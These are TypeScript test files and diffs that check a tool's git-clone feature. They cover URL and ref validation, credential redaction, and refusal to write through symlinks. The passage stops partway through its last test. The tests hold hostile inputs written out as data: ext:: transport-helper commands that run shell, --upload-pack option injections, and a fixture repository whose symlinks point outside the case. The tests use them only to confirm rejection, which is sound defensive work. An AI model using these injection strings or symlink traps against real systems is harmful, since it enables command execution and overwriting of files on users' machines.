expect(rejected('https://example.com/repo\n--upload-pack=x').code).toBe('CONTROL_CHARS');
expect(rejected(`https://example.com/${'a'.repeat(2100)}`).code).toBe('TOO_LONG');
});
it('REFUSES relative and ~ paths, and empty input', () => {
expect(rejected('./repo').code).toBe('BAD_SYNTAX');
expect(rejected('~/repo').code).toBe('BAD_SYNTAX');
expect(rejected(' ').code).toBe('EMPTY');
expect(rejected('not a url at all').code).toBe('BAD_SYNTAX');
});
it('REFUSES a URL with no repository name', () => {
expect(rejected('https://github.com/').code).toBe('NO_REPOSITORY_NAME');
});
it('REFUSES a malformed percent-escape as BAD_SYNTAX instead of throwing', () => {
// `new URL` tolerates "%zz" in a path; decodeURIComponent throws on it,
// and uncaught that URIError surfaced as a 500 from the route.
expect(rejected('https://github.com/%zz/repo.git').code).toBe('BAD_SYNTAX');
expect(rejected('https://github.com/owner/repo%').code).toBe('BAD_SYNTAX');
});
});
describe('suggestCaseNameFromRepo', () => {
it('produces names the case-name validator accepts', () => {
expect(suggestCaseNameFromRepo('My.Repo.git')).toBe('My-Repo');
expect(suggestCaseNameFromRepo('repo with spaces')).toBe('repo-with-spaces');
expect(suggestCaseNameFromRepo('--weird--')).toBe('weird');
for (const input of ['My.Repo.git', 'repo with spaces', 'a/b', 'ünïcodé']) {
const suggested = suggestCaseNameFromRepo(input);
if (suggested) expect(suggested).toMatch(/^[a-zA-Z0-9_-]+$/);
}
});
it('returns empty rather than inventing a name when nothing survives', () => {
expect(suggestCaseNameFromRepo('...')).toBe('');
expect(suggestCaseNameFromRepo('')).toBe('');
});
});
describe('isSafeGitRef', () => {
it('accepts real branch and tag names', () => {
for (const ref of ['main', 'v1.2.3', 'release/2026-08', 'feat_x', 'v1.0.0+build.5']) {
expect(isSafeGitRef(ref)).toBe(true);
}
});
it('rejects flags, traversal and revision syntax', () => {
for (const ref of ['-x', '--upload-pack=x', 'a..b', 'HEAD@{1}', 'x.lock', 'has space', 'trailing/', '']) {
expect(isSafeGitRef(ref)).toBe(false);
}
});
});
describe('buildCloneArgs / buildLsRemoteArgs', () => {
it('always separates operands with --', () => {
const args = buildCloneArgs({ repository: 'https://example.com/r.git', destination: '/cases/r' });
expect(args).toEqual(['clone', '--', 'https://example.com/r.git', '/cases/r']);
// The operands must sit AFTER the separator, always.
expect(args.indexOf('--')).toBeLessThan(args.indexOf('https://example.com/r.git'));
expect(buildLsRemoteArgs('https://example.com/r.git')).toEqual([
'ls-remote',
'--symref',
'--',
'https://example.com/r.git',
]);
});
it('maps ref to --branch --single-branch and shallow to --depth 1', () => {
expect(buildCloneArgs({ repository: 'r', destination: 'd', ref: 'v1', shallow: true })).toEqual([
'clone',
'--single-branch',
'--branch',
'v1',
'--depth',
'1',
'--',
'r',
'd',
]);
});
});
describe('gitNonInteractiveEnv', () => {
it('closes every interactive path that could hang an open request', () => {
const env = gitNonInteractiveEnv({ PATH: '/usr/bin', HOME: '/home/x' });
expect(env.GIT_TERMINAL_PROMPT).toBe('0');
expect(env.GIT_ASKPASS).toBe('');
expect(env.SSH_ASKPASS_REQUIRE).toBe('never');
expect(env.DISPLAY).toBe('');
expect(env.GCM_INTERACTIVE).toBe('never');
expect(env.GIT_SSH_COMMAND).toContain('BatchMode=yes');
// HOME/PATH are inherited on purpose: a working ssh agent keeps working.
expect(env.HOME).toBe('/home/x');
expect(env.PATH).toBe('/usr/bin');
});
it("does not override a user's own GIT_SSH_COMMAND", () => {
expect(gitNonInteractiveEnv({ GIT_SSH_COMMAND: 'ssh -F /custom' }).GIT_SSH_COMMAND).toBe('ssh -F /custom');
});
});
describe('parseLsRemoteOutput', () => {
it('extracts the default branch, branches and tags, dropping peeled tags', () => {
const parsed = parseLsRemoteOutput(
[
'ref: refs/heads/master\tHEAD',
'b1614e89fcfad61f23052879544b60560a7499cf\tHEAD',
'b1614e89fcfad61f23052879544b60560a7499cf\trefs/heads/master',
'498e0545de2edd7a7b412861060580da03fad881\trefs/heads/feat/x',
'7c3688467ed65a84e91014f58058823471c69359\trefs/tags/v1.0.0',
'7c3688467ed65a84e91014f58058823471c69359\trefs/tags/v1.0.0^{}',
'085f4acb606afa75d311dcabfb397d802ed147b4\trefs/pull/1/head',
'',
].join('\n')
);
expect(parsed.defaultBranch).toBe('master');
expect(parsed.branches).toEqual(['master', 'feat/x']);
expect(parsed.tags).toEqual(['v1.0.0']);
expect(parsed.truncated).toBe(false);
});
it('survives a remote with no HEAD symref', () => {
const parsed = parseLsRemoteOutput('0ae798f372995b5108796f089d0dcc25df6d40ba\trefs/heads/main');
expect(parsed.defaultBranch).toBeUndefined();
expect(parsed.branches).toEqual(['main']);
});
});
describe('classifyGitFailure', () => {
it('reports a missing git binary', () => {
expect(classifyGitFailure('', false, 'Error: spawn git ENOENT').code).toBe('GIT_MISSING');
});
it('reports a timeout before looking at stderr', () => {
expect(classifyGitFailure('fatal: repository not found', true).code).toBe('TIMEOUT');
});
it('recognizes the authentication wall in its several dialects', () => {
for (const stderr of [
"fatal: could not read Username for 'https://github.com': terminal prompts disabled",
'remote: Invalid username or password.',
'git@github.com: Permission denied (publickey).',
]) {
expect(classifyGitFailure(stderr, false).code).toBe('AUTH_REQUIRED');
}
});
it('says "not found OR private" rather than just "not found"', () => {
const failure = classifyGitFailure("remote: Repository not found.\nfatal: repository 'x' not found", false);
expect(failure.code).toBe('NOT_FOUND');
expect(failure.message).toMatch(/private/i);
});
it('recognizes a missing ref and an unreachable host', () => {
expect(classifyGitFailure('fatal: Remote branch nope not found in upstream origin', false).code).toBe(
'REF_NOT_FOUND'
);
expect(classifyGitFailure('fatal: unable to access: Could not resolve host: nope.invalid', false).code).toBe(
'HOST_UNREACHABLE'
);
});
});
describe('sanitizeGitOutput', () => {
it('redacts credentials a helper may have echoed back', () => {
expect(sanitizeGitOutput("fatal: unable to access 'https://bob:ghp_secret@github.com/x.git/'")).toBe(
"fatal: unable to access 'https://***:***@github.com/x.git/'"
);
});
it('strips control bytes and keeps the TAIL when over budget', () => {
expect(sanitizeGitOutput('abc')).toBe('ab[31mc');
const long = sanitizeGitOutput(`${'x'.repeat(50)}THE-END`, 10);
expect(long.startsWith('…')).toBe(true);
expect(long.endsWith('THE-END')).toBe(true);
});
});
// ─── Real git, real local repository ─────────────────────────────────────────
const gitPresent = isGitAvailable();
describe.skipIf(!gitPresent)('cloneRepository / probeGitRemote (real git)', () => {
let root: string;
let origin: string;
const git = (args: string[], cwd: string) =>
execFileSync('git', args, { cwd, encoding: 'utf-8', stdio: ['ignore', 'pipe', 'pipe'] });
beforeAll(() => {
root = mkdtempSync(join(tmpdir(), 'codeman-clone-test-'));
origin = join(root, 'origin.git');
mkdirSync(origin);
git(['init', '--bare', '--quiet'], origin);
const work = join(root, 'work');
mkdirSync(work);
git(['init', '--quiet'], work);
git(['config', 'user.email', 'test@example.com'], work);
git(['config', 'user.name', 'Codeman Test'], work);
writeFileSync(join(work, 'README.md'), '# fixture\n');
git(['add', 'README.md'], work);
git(['commit', '--quiet', '-m', 'initial'], work);
git(['branch', '-M', 'main'], work);
git(['tag', 'v1'], work);
git(['checkout', '--quiet', '-b', 'side'], work);
writeFileSync(join(work, 'SIDE.md'), 'side\n');
git(['add', 'SIDE.md'], work);
git(['commit', '--quiet', '-m', 'side'], work);
git(['checkout', '--quiet', 'main'], work);
git(['remote', 'add', 'origin', origin], work);
git(['push', '--quiet', 'origin', 'main', 'side', '--tags'], work);
// Give the bare repo a HEAD that resolves, so --symref has something to say.
git(['symbolic-ref', 'HEAD', 'refs/heads/main'], origin);
});
afterAll(() => {
rmSync(root, { recursive: true, force: true });
});
it('probes a reachable remote for its default branch, branches and tags', async () => {
const probe = await probeGitRemote(origin);
expect(probe.reachable).toBe(true);
expect(probe.defaultBranch).toBe('main');
expect(probe.branches.sort()).toEqual(['main', 'side']);
expect(probe.tags).toEqual(['v1']);
});
it('reports an unreachable remote as a normal answer, not a throw', async () => {
const probe = await probeGitRemote(join(root, 'does-not-exist.git'));
expect(probe.reachable).toBe(false);
expect(probe.failure?.code).toBe('NOT_FOUND');
expect(probe.branches).toEqual([]);
});
it('clones into a fresh destination', async () => {
const dest = join(root, 'clone-plain');
const result = await cloneRepository({ repository: origin, destination: dest });
expect(result.ok).toBe(true);
expect(existsSync(join(dest, 'README.md'))).toBe(true);
expect(existsSync(join(dest, '.git'))).toBe(true);
});
it('clones a single branch when a ref is given', async () => {
const dest = join(root, 'clone-side');
const result = await cloneRepository({ repository: origin, destination: dest, ref: 'side' });
expect(result.ok).toBe(true);
expect(existsSync(join(dest, 'SIDE.md'))).toBe(true);
});
it('clones a tag, shallow', async () => {
const dest = join(root, 'clone-tag');
const result = await cloneRepository({ repository: origin, destination: dest, ref: 'v1', shallow: true });
expect(result.ok).toBe(true);
expect(existsSync(join(dest, 'README.md'))).toBe(true);
expect(existsSync(join(dest, 'SIDE.md'))).toBe(false);
});
it('removes the destination it created when the clone fails', async () => {
const dest = join(root, 'clone-bad-ref');
const result = await cloneRepository({ repository: origin, destination: dest, ref: 'no-such-branch' });
expect(result.ok).toBe(false);
if (!result.ok) expect(result.failure.code).toBe('REF_NOT_FOUND');
// The half-written tree must not survive as a phantom case directory,
// and neither may the attempt-owned temp directory it cloned into.
expect(existsSync(dest)).toBe(false);
expect(readdirSync(root).filter((n) => n.includes('.cloning-'))).toEqual([]);
});
it('lets two concurrent clones of the SAME destination race safely', async () => {
// Both used to pass the existence check; the loser's cleanup then DELETED
// the winner's finished tree. Now each attempt clones into its own temp
// sibling and an atomic rename decides the winner.
const dest = join(root, 'clone-race');
const results = await Promise.all([
cloneRepository({ repository: origin, destination: dest }),
cloneRepository({ repository: origin, destination: dest }),
]);
expect(results.filter((r) => r.ok)).toHaveLength(1);
const loser = results.find((r) => !r.ok);
if (loser && !loser.ok) expect(loser.failure.code).toBe('DESTINATION_EXISTS');
// The winner's tree survives the loser's cleanup intact...
expect(existsSync(join(dest, 'README.md'))).toBe(true);
expect(existsSync(join(dest, '.git'))).toBe(true);
// ...and neither attempt leaves its temp directory behind.
expect(readdirSync(root).filter((n) => n.includes('.cloning-'))).toEqual([]);
});
it('refuses a destination that already exists instead of cloning into it', async () => {
const dest = join(root, 'occupied');
mkdirSync(dest);
writeFileSync(join(dest, 'keep.txt'), 'precious\n');
const result = await cloneRepository({ repository: origin, destination: dest });
expect(result.ok).toBe(false);
if (!result.ok) expect(result.failure.code).toBe('DESTINATION_EXISTS');
// And the pre-existing directory is left completely alone.
expect(existsSync(join(dest, 'keep.txt'))).toBe(true);
});
it('rejects an unsafe ref without spawning git', async () => {
const result = await cloneRepository({
repository: origin,
destination: join(root, 'never'),
ref: '--upload-pack=x',
});
expect(result.ok).toBe(false);
expect(existsSync(join(root, 'never'))).toBe(false);
});
it('releases every concurrency slot it took', async () => {
await Promise.all([probeGitRemote(origin), probeGitRemote(origin), probeGitRemote(origin), probeGitRemote(origin)]);
// A leaked slot would eventually wedge every future clone behind a full pool.
expect(getActiveGitOperationCount()).toBe(0);
});
it('times out instead of hanging forever', async () => {
// 1ms budget: git cannot finish, so the SIGTERM/SIGKILL escalation is what ends it.
const result = await cloneRepository({
repository: origin,
destination: join(root, 'clone-timeout'),
timeoutMs: 1,
});
expect(result.ok).toBe(false);
if (!result.ok) expect(result.failure.code).toBe('TIMEOUT');
expect(existsSync(join(root, 'clone-timeout'))).toBe(false);
expect(readdirSync(root).filter((n) => n.includes('.cloning-'))).toEqual([]);
});
});
// ─── Pool bounds, driven with a fake `git` that sleeps ──────────────────────
//
// A fresh module instance (vi.resetModules + dynamic import) picks up the
// 1-slot/1-waiter env config, and a PATH-shimmed `git` that answers --version
// then sleeps lets one operation HOLD the slot deterministically with no
// network. Placed after the real-git suite so the PATH shim never leaks into it.
describe('git pool queue bounds (fake git)', () => {
let fakeDir: string;
let savedPath: string | undefined;
let mod: typeof import('../src/git-clone.js');
beforeAll(async () => {
fakeDir = mkdtempSync(join(tmpdir(), 'codeman-fake-git-'));
writeFileSync(
join(fakeDir, 'git'),
'#!/bin/sh\nif [ "$1" = "--version" ]; then echo "git version 2.43.0"; exit 0; fi\nsleep 30\n',
{ mode: 0o755 }
);
savedPath = process.env.PATH;
process.env.PATH = `${fakeDir}:${savedPath}`;
process.env.CODEMAN_MAX_GIT_OPERATIONS = '1';
process.env.CODEMAN_MAX_GIT_QUEUE = '1';
vi.resetModules();
mod = await import('../src/git-clone.js');
});
afterAll(() => {
process.env.PATH = savedPath;
delete process.env.CODEMAN_MAX_GIT_OPERATIONS;
delete process.env.CODEMAN_MAX_GIT_QUEUE;
rmSync(fakeDir, { recursive: true, force: true });
vi.resetModules();
});
it('bounds the queue with BUSY and counts queue time against the deadline', async () => {
// Occupies the single slot: the fake git sleeps far past its 3s budget.
const holder = mod.probeGitRemote('https://pool.invalid/repo.git', 3_000);
await new Promise((r) => setTimeout(r, 100));
// Fills the single queue seat; its 300ms deadline must elapse IN the queue.
const queued = mod.probeGitRemote('https://pool.invalid/repo.git', 300);
await new Promise((r) => setTimeout(r, 50));
// Queue full: answered BUSY immediately, without waiting out its own 5s budget.
const before = Date.now();
const overflow = await mod.probeGitRemote('https://pool.invalid/repo.git', 5_000);
expect(Date.now() - before).toBeLessThan(1_000);
expect(overflow.reachable).toBe(false);
expect(overflow.failure?.code).toBe('BUSY');
// The queued waiter timed out WITHOUT ever spawning git (slot never freed).
const queuedResult = await queued;
expect(queuedResult.reachable).toBe(false);
expect(queuedResult.failure?.code).toBe('TIMEOUT');
// The slot holder is killed by its own deadline, and nothing leaks.
const holderResult = await holder;
expect(holderResult.failure?.code).toBe('TIMEOUT');
expect(mod.getActiveGitOperationCount()).toBe(0);
expect(mod.getQueuedGitOperationCount()).toBe(0);
});
});
describe('isGitAvailable', () => {
it('answers consistently (memoized)', () => {
expect(isGitAvailable()).toBe(gitPresent);
expect(isGitAvailable()).toBe(gitPresent);
});
});
+62 -1
View File
@@ -6,16 +6,21 @@
*/
import { describe, it, expect, beforeAll, beforeEach, afterAll, afterEach } from 'vitest';
import { closeSync, existsSync, openSync, readFileSync, writeFileSync, mkdirSync, rmSync } from 'node:fs';
import { closeSync, existsSync, openSync, readFileSync, writeFileSync, mkdirSync, rmSync, symlinkSync } from 'node:fs';
import { join } from 'node:path';
import { tmpdir } from 'node:os';
import { spawn } from 'node:child_process';
import {
applyStatusLineConfig,
ensureCodemanHooks,
generateBackgroundWakeScript,
generateHooksConfig,
generateSubagentStopGuardScript,
refreshStaleCodemanHooks,
settingsWriteBlocker,
stripCaseEnvKeys,
updateCaseEnvVars,
updateCaseModel,
writeHooksConfig,
} from '../src/hooks-config.js';
@@ -198,6 +203,62 @@ describe('writeHooksConfig', () => {
expect(parsed.hooks.Stop).toHaveLength(1);
});
it('refuses to write through a symlinked .claude directory (#251 review)', async () => {
// Case contents can be foreign (a freshly cloned repository): a symlinked
// .claude would redirect the scaffold write outside the case.
const outside = join(testDir, 'outside-target');
mkdirSync(outside);
const caseDir = join(testDir, 'case');
mkdirSync(caseDir);
symlinkSync(outside, join(caseDir, '.claude'));
expect(await settingsWriteBlocker(caseDir)).toMatch(/symlink/);
await writeHooksConfig(caseDir);
expect(existsSync(join(outside, 'settings.local.json'))).toBe(false);
});
it('refuses to write through a symlinked settings.local.json (#251 review)', async () => {
const outsideFile = join(testDir, 'victim-settings.json');
writeFileSync(outsideFile, '{"model":"precious"}\n');
const caseDir = join(testDir, 'case2');
mkdirSync(join(caseDir, '.claude'), { recursive: true });
symlinkSync(outsideFile, join(caseDir, '.claude', 'settings.local.json'));
expect(await settingsWriteBlocker(caseDir)).toMatch(/symlink/);
await writeHooksConfig(caseDir);
// The link target is untouched: no hooks were merged into it.
expect(readFileSync(outsideFile, 'utf-8')).toBe('{"model":"precious"}\n');
});
it('reports a real, confined .claude as safe', async () => {
const caseDir = join(testDir, 'case3');
mkdirSync(join(caseDir, '.claude'), { recursive: true });
expect(await settingsWriteBlocker(caseDir)).toBeNull();
});
it('EVERY settings writer refuses a symlinked settings.local.json (#251 review round 2)', async () => {
// Round 1 guarded only writeHooksConfig/updateCaseModel; the reviewer
// demonstrated applyStatusLineConfig writing through the link. All
// writers now share one safe-write gate, so pin all of them at once.
const outsideFile = join(testDir, 'victim-all-writers.json');
const precious =
'{"env":{"CLAUDE_CODE_KEEP":"me"},"hooks":{"Stop":[{"hooks":[{"command":"curl /api/hook-event"}]}]}}\n';
writeFileSync(outsideFile, precious);
const caseDir = join(testDir, 'case-writers');
mkdirSync(join(caseDir, '.claude'), { recursive: true });
symlinkSync(outsideFile, join(caseDir, '.claude', 'settings.local.json'));
await writeHooksConfig(caseDir);
await ensureCodemanHooks(caseDir);
await refreshStaleCodemanHooks(caseDir);
await updateCaseModel(caseDir, 'opus');
await updateCaseEnvVars(caseDir, { CLAUDE_CODE_NEW: 'value' });
await stripCaseEnvKeys(caseDir, ['CLAUDE_CODE_KEEP']);
await applyStatusLineConfig(caseDir, true);
await applyStatusLineConfig(caseDir, false);
// The link target is byte-identical: none of the writers went through it.
expect(readFileSync(outsideFile, 'utf-8')).toBe(precious);
});
it('should merge with existing settings.local.json', async () => {
const claudeDir = join(testDir, '.claude');
mkdirSync(claudeDir, { recursive: true });
+8
View File
@@ -18,6 +18,7 @@ import { isCodexAvailable } from '../src/utils/codex-cli-resolver.js';
import { isGeminiAvailable } from '../src/utils/gemini-cli-resolver.js';
import { isAntigravityAvailable } from '../src/utils/antigravity-cli-resolver.js';
import { isCloudflaredAvailable } from '../src/utils/cloudflared-resolver.js';
import { isGitAvailable } from '../src/git-clone.js';
// renderIndexHtml probes the real PATH for every CLI, which would make the
// assertions below depend on whatever happens to be installed on the machine
@@ -46,6 +47,10 @@ vi.mock('../src/utils/cloudflared-resolver.js', () => ({
isCloudflaredAvailable: vi.fn(() => false),
resolveCloudflaredPath: vi.fn(() => null),
}));
// git gates the Add Case -> Clone Repo tab (#236), so it rides in the same object.
vi.mock('../src/git-clone.js', () => ({
isGitAvailable: vi.fn(() => false),
}));
const TEMPLATE = [
'<head>',
@@ -127,6 +132,7 @@ describe('WebServer.renderIndexHtml', () => {
vi.mocked(isGeminiAvailable).mockReturnValue(false);
vi.mocked(isAntigravityAvailable).mockReturnValue(false);
vi.mocked(isCloudflaredAvailable).mockReturnValue(true);
vi.mocked(isGitAvailable).mockReturnValue(true);
const { server } = makeServer({});
const html = await render(server);
const flags = JSON.parse(html.match(/window\.__codemanCliAvailable=(\{.*?\});/)![1]);
@@ -139,6 +145,7 @@ describe('WebServer.renderIndexHtml', () => {
gemini: false,
antigravity: false,
cloudflared: true,
git: true,
});
});
@@ -152,6 +159,7 @@ describe('WebServer.renderIndexHtml', () => {
isGeminiAvailable,
isAntigravityAvailable,
isCloudflaredAvailable,
isGitAvailable,
]) {
vi.mocked(probe).mockReturnValue(false);
}
+317
View File
@@ -0,0 +1,317 @@
/**
* @fileoverview End-to-end tests for POST /api/cases/clone and
* /api/cases/clone-preflight (issue #236).
*
* Deliberately runs against a REAL filesystem and a REAL `git` cloning a REAL
* local bare repo, unlike its sibling `case-routes.test.ts` which mocks `node:fs`
* wholesale. Mocking here would only prove the handler calls functions in the
* order the test expects; what actually needs proving is that a clone lands a
* working tree in the case directory, that scaffolding does not overwrite the
* repository's own files, and that a rejected URL never reaches git.
*
* `test/setup.ts` points HOME at a per-file temp dir, so CASES_DIR resolves
* inside the fixture and nothing touches the developer's real ~/codeman-cases.
*
* Port: N/A (app.inject).
*/
import { describe, it, expect, beforeAll, afterAll, beforeEach, afterEach } from 'vitest';
import Fastify, { type FastifyInstance } from 'fastify';
import fastifyCookie from '@fastify/cookie';
import { execFileSync } from 'node:child_process';
import {
existsSync,
lstatSync,
mkdirSync,
mkdtempSync,
readFileSync,
rmSync,
symlinkSync,
writeFileSync,
} from 'node:fs';
import { homedir, tmpdir } from 'node:os';
import { join } from 'node:path';
import { createMockRouteContext, type MockRouteContext } from '../mocks/index.js';
import { installRouteErrorHandler } from '../../src/web/route-error-handler.js';
import { ApiErrorCode, httpStatusForErrorCode } from '../../src/types.js';
import { registerCaseRoutes } from '../../src/web/routes/case-routes.js';
import { isGitAvailable } from '../../src/git-clone.js';
const CASES_DIR = join(homedir(), 'codeman-cases');
const gitPresent = isGitAvailable();
let app: FastifyInstance;
let ctx: MockRouteContext;
async function buildApp(): Promise<void> {
app = Fastify({ logger: false });
await app.register(fastifyCookie);
// Mirror the production preSerialization envelope hook so error codes map to
// their conventional HTTP status (copied from server.ts, as in case-routes.test.ts).
app.addHook('preSerialization', (req, reply, payload: unknown, done) => {
if (!req.url.startsWith('/api')) return done(null, payload);
if (payload === null || typeof payload !== 'object') return done(null, payload);
const p = payload as { success?: unknown; errorCode?: unknown };
if (p.success === false) {
if (reply.statusCode === 200 && typeof p.errorCode === 'string') {
reply.code(httpStatusForErrorCode(p.errorCode as ApiErrorCode));
}
return done(null, payload);
}
if (p.success === true) return done(null, payload);
return done(null, { success: true, data: payload });
});
ctx = createMockRouteContext();
registerCaseRoutes(app, ctx as never);
installRouteErrorHandler(app);
await app.ready();
}
const clone = (payload: Record<string, unknown>) => app.inject({ method: 'POST', url: '/api/cases/clone', payload });
const preflight = (repository: unknown) =>
app.inject({ method: 'POST', url: '/api/cases/clone-preflight', payload: { repository } });
describe('POST /api/cases/clone-preflight', () => {
beforeEach(buildApp);
afterEach(async () => {
await app.close();
});
it('answers 200 with the rejection reason for an ext:: URL (never probes it)', async () => {
const res = await preflight('ext::sh -c "id > /tmp/pwned"');
expect(res.statusCode).toBe(200);
const body = JSON.parse(res.body);
expect(body.success).toBe(true);
expect(body.data.parse.cloneable).toBe(false);
expect(body.data.parse.code).toBe('TRANSPORT_HELPER');
expect(body.data.remote).toBeUndefined();
});
it('returns the parsed owner/repo and a case-name suggestion for a valid URL', async () => {
const res = await preflight('https://github.com/owner/My.Repo.git');
const body = JSON.parse(res.body);
expect(body.data.parse.cloneable).toBe(true);
expect(body.data.parse.owner).toBe('owner');
expect(body.data.parse.repo).toBe('My.Repo');
expect(body.data.parse.suggestedName).toBe('My-Repo');
});
it('validates the body', async () => {
expect((await preflight('')).statusCode).toBe(400);
expect((await preflight(undefined)).statusCode).toBe(400);
});
});
describe('POST /api/cases/clone — input rejection', () => {
beforeEach(buildApp);
afterEach(async () => {
await app.close();
});
it('refuses a transport helper before touching git', async () => {
const res = await clone({ name: 'pwned', repository: 'ext::sh -c "touch /tmp/codeman-pwned"' });
expect(res.statusCode).toBe(400);
const body = JSON.parse(res.body);
expect(body.errorCode).toBe(ApiErrorCode.INVALID_INPUT);
expect(body.error).toMatch(/ext::/);
expect(existsSync(join(CASES_DIR, 'pwned'))).toBe(false);
});
it('refuses an option-shaped repository', async () => {
const res = await clone({ name: 'opt', repository: '--upload-pack=touch /tmp/x' });
expect(res.statusCode).toBe(400);
expect(JSON.parse(res.body).error).toMatch(/may not start with/);
});
it('refuses a URL with embedded credentials', async () => {
const res = await clone({ name: 'creds', repository: 'https://u:token@github.com/o/r.git' });
expect(res.statusCode).toBe(400);
expect(JSON.parse(res.body).error).toMatch(/never accepts or stores/i);
});
it('refuses an unsafe ref', async () => {
const res = await clone({ name: 'ref', repository: 'https://github.com/o/r.git', ref: '--upload-pack=x' });
expect(res.statusCode).toBe(400);
expect(JSON.parse(res.body).error).toMatch(/branch or tag/i);
});
it('rejects an invalid case name via the schema', async () => {
const res = await clone({ name: '../escape', repository: 'https://github.com/o/r.git' });
expect(res.statusCode).toBe(400);
});
it('rejects a name that collides with an existing case before cloning', async () => {
mkdirSync(join(CASES_DIR, 'taken'), { recursive: true });
try {
const res = await clone({ name: 'taken', repository: 'https://github.com/o/r.git' });
expect(res.statusCode).toBe(httpStatusForErrorCode(ApiErrorCode.ALREADY_EXISTS));
expect(JSON.parse(res.body).error).toMatch(/already exists/i);
} finally {
rmSync(join(CASES_DIR, 'taken'), { recursive: true, force: true });
}
});
});
describe.skipIf(!gitPresent)('POST /api/cases/clone — real clone', () => {
let root: string;
let origin: string;
let hostileOrigin: string;
let victimDir: string;
let victimFile: string;
const created: string[] = [];
const git = (args: string[], cwd: string) =>
execFileSync('git', args, { cwd, encoding: 'utf-8', stdio: ['ignore', 'pipe', 'pipe'] });
beforeAll(() => {
root = mkdtempSync(join(tmpdir(), 'codeman-clone-route-'));
origin = join(root, 'origin.git');
mkdirSync(origin);
git(['init', '--bare', '--quiet'], origin);
const work = join(root, 'work');
mkdirSync(work);
git(['init', '--quiet'], work);
git(['config', 'user.email', 'test@example.com'], work);
git(['config', 'user.name', 'Codeman Test'], work);
writeFileSync(join(work, 'README.md'), '# fixture\n');
// The repo ships BOTH files the scaffolder would otherwise write.
writeFileSync(join(work, 'CLAUDE.md'), '# repository-owned CLAUDE.md\n');
mkdirSync(join(work, '.claude'));
writeFileSync(join(work, '.claude', 'settings.json'), '{"permissions":{}}\n');
git(['add', '.'], work);
git(['commit', '--quiet', '-m', 'initial'], work);
git(['branch', '-M', 'main'], work);
git(['tag', 'v1'], work);
git(['remote', 'add', 'origin', origin], work);
git(['push', '--quiet', 'origin', 'main', '--tags'], work);
git(['symbolic-ref', 'HEAD', 'refs/heads/main'], origin);
// A HOSTILE repository: it ships the scaffold paths as symlinks aimed
// outside the case, so a scaffolder that follows them writes onto this
// machine's own files. victimFile deliberately does NOT exist, because a
// BROKEN CLAUDE.md link is the case existsSync gets wrong (it follows the
// link, reports "absent", and the scaffold write would then CREATE the
// outside file).
victimDir = join(root, 'victim-claude');
mkdirSync(victimDir);
victimFile = join(root, 'victim-file.md');
hostileOrigin = join(root, 'hostile.git');
mkdirSync(hostileOrigin);
git(['init', '--bare', '--quiet'], hostileOrigin);
const hostileWork = join(root, 'hostile-work');
mkdirSync(hostileWork);
git(['init', '--quiet'], hostileWork);
git(['config', 'user.email', 'test@example.com'], hostileWork);
git(['config', 'user.name', 'Codeman Test'], hostileWork);
writeFileSync(join(hostileWork, 'README.md'), '# hostile fixture\n');
symlinkSync(victimFile, join(hostileWork, 'CLAUDE.md'));
symlinkSync(victimDir, join(hostileWork, '.claude'));
git(['add', '.'], hostileWork);
git(['commit', '--quiet', '-m', 'hostile'], hostileWork);
git(['branch', '-M', 'main'], hostileWork);
git(['remote', 'add', 'origin', hostileOrigin], hostileWork);
git(['push', '--quiet', 'origin', 'main'], hostileWork);
git(['symbolic-ref', 'HEAD', 'refs/heads/main'], hostileOrigin);
});
afterAll(() => {
rmSync(root, { recursive: true, force: true });
for (const name of created) rmSync(join(CASES_DIR, name), { recursive: true, force: true });
});
beforeEach(buildApp);
afterEach(async () => {
await app.close();
});
it('clones into the case directory and broadcasts case:created', async () => {
created.push('cloned-case');
const res = await clone({ name: 'cloned-case', repository: origin });
expect(res.statusCode).toBe(200);
const body = JSON.parse(res.body);
expect(body.success).toBe(true);
expect(body.data.case).toEqual({ name: 'cloned-case', path: join(CASES_DIR, 'cloned-case') });
expect(existsSync(join(CASES_DIR, 'cloned-case', 'README.md'))).toBe(true);
expect(existsSync(join(CASES_DIR, 'cloned-case', '.git'))).toBe(true);
expect(ctx.broadcast).toHaveBeenCalledWith('case:created', {
name: 'cloned-case',
path: join(CASES_DIR, 'cloned-case'),
});
});
it("keeps the repository's own CLAUDE.md and warns about repo-supplied .claude settings", async () => {
created.push('keeps-files');
const res = await clone({ name: 'keeps-files', repository: origin });
const body = JSON.parse(res.body);
expect(readFileSync(join(CASES_DIR, 'keeps-files', 'CLAUDE.md'), 'utf-8')).toBe('# repository-owned CLAUDE.md\n');
expect(body.data.warnings.join(' ')).toMatch(/Kept the repository/);
// Repo-shipped hooks run on this machine: the response has to say so.
expect(body.data.warnings.join(' ')).toMatch(/ships its own \.claude/);
});
it('installs Codeman hooks alongside whatever the repo shipped', async () => {
created.push('hooked');
await clone({ name: 'hooked', repository: origin });
const settingsPath = join(CASES_DIR, 'hooked', '.claude', 'settings.local.json');
expect(existsSync(settingsPath)).toBe(true);
expect(JSON.parse(readFileSync(settingsPath, 'utf-8')).hooks).toBeTruthy();
// The repo's own settings.json is untouched.
expect(readFileSync(join(CASES_DIR, 'hooked', '.claude', 'settings.json'), 'utf-8')).toBe('{"permissions":{}}\n');
});
it('honors a ref and reports it back', async () => {
created.push('at-tag');
const res = await clone({ name: 'at-tag', repository: origin, ref: 'v1', shallow: true });
expect(res.statusCode).toBe(200);
const body = JSON.parse(res.body);
expect(body.data.ref).toBe('v1');
expect(existsSync(join(CASES_DIR, 'at-tag', 'README.md'))).toBe(true);
});
it('leaves no case directory behind when the clone fails', async () => {
const res = await clone({ name: 'ghost-case', repository: join(root, 'no-such-repo.git') });
expect(res.statusCode).toBe(httpStatusForErrorCode(ApiErrorCode.NOT_FOUND));
expect(JSON.parse(res.body).error).toMatch(/not found/i);
// A leftover empty directory would occupy the name forever.
expect(existsSync(join(CASES_DIR, 'ghost-case'))).toBe(false);
});
it('reports a missing ref as invalid input, not a server error', async () => {
const res = await clone({ name: 'bad-ref-case', repository: origin, ref: 'no-such-branch' });
expect(res.statusCode).toBe(400);
expect(existsSync(join(CASES_DIR, 'bad-ref-case'))).toBe(false);
// git's FIRST stderr line is "Cloning into '<dest>'..." — quoting that as the
// reason told the user the destination path when the ref was the problem.
const error = JSON.parse(res.body).error as string;
expect(error).not.toMatch(/Cloning into/);
expect(error).toMatch(/branch or tag/i);
});
it('refuses to scaffold through repository-shipped symlinks (keeps the clone, warns)', async () => {
created.push('hostile');
const res = await clone({ name: 'hostile', repository: hostileOrigin });
expect(res.statusCode).toBe(200);
const body = JSON.parse(res.body);
expect(body.success).toBe(true);
const casePath = join(CASES_DIR, 'hostile');
// The repo's symlinks are still symlinks: nothing wrote through them.
expect(lstatSync(join(casePath, 'CLAUDE.md')).isSymbolicLink()).toBe(true);
